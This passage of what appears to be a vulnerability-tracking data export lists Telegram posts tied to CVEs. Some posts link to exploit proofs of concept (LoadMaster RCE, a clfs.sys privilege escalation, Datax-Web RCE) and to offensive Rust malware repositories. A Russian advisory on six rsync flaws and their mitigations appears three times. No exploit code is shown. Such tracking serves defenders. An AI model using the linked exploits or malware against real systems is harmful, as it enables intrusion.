"Telegram/tvZdzXkKZ27U06jdVi__cs4wGSX_zTcNT9cWAdl0CKJ0LwWf", "content": "", "creation_timestamp": "2025-02-10T09:46:29.000000Z"}, {"uuid": "46d0dbe2-0d80-48fe-a41c-d77d2092281b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GhostsForum/20641", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-23T23:50:48.000000Z"}, {"uuid": "333ce903-7226-45df-b076-7ced04ab4b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12358", "type": "published-proof-of-concept", "source": "https://t.me/Leak_DBMS/1529", "content": "\ud83d\udee1Datax-Web rce CVE-2024-12358\n\ud83d\udca5https://github.com/jxp98/VulResearch/blob/main/2024/12/1.Datax-Web%20-%20Remote%20Code%20Execution.md\n\ud83d\udd16@Leak_DBMS", "creation_timestamp": "2024-12-10T23:15:47.000000Z"}, {"uuid": "155f193e-385e-41f4-a71e-36c1f1f6d737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "7d91b6e6-86e5-4571-8530-d45584c61b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n- \u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\n- \u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.", "creation_timestamp": "2025-01-16T08:02:31.000000Z"}, {"uuid": "bf8275aa-a0e0-4ebb-9444-ddb90cb44791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/nemeZ1da_ru/5474", "content": "\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\n- CVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\n\n- CVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\n\n- CVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12088 (CVSS 6.5): 